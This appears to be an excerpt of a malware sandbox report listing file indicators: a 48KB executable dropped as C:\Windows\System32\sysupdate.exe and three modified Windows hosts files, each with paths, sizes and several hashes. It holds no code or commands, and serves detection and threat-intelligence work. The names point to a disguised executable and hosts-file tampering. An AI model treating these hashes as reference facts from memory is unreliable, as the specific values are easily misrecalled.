- SSDEEP 3072:bv68d/3hAWSGEvrQyhJHC8H/na4ABHEX0wvxRKA9:O8d/xAWporQyiQ/naduETA9
- TLSH T17504B740D3B29F2A158356AF0C1337D5A47CF7F192ECD1FB20A6AF63F0668A6D218615
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 48KB
- SHA256 32002c27201270ccff45f1abe267a8d1a0a387c94c7fe8ff95069e6f0e2eee3f
- MD5 5bee5274e176b4a48eb74c75ecff27a5
- SHA1 a00a7260b8a280549b780357dddadb106a74474f
- SHA512 04ccd7959f3aaff2e2b33601154759be2c69e6234bbad13bcc773566d6fb450915853c4fa6d676c0b9f44269c5c25116528cf692f8c4ba59ada4ad68662e375c
- SSDEEP 768:0hPFhLTWeTOG+FFefF7SpeGrqx4b//o4BC1XXGblfA0mKFcA:oPnT2oAAGdbI4BEXGblf9mucA
- TLSH T15A23F70437F98511F5BF4ABA8DB196019B31B8979C32D78E07D5058E1AB3B40CDA8B7B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH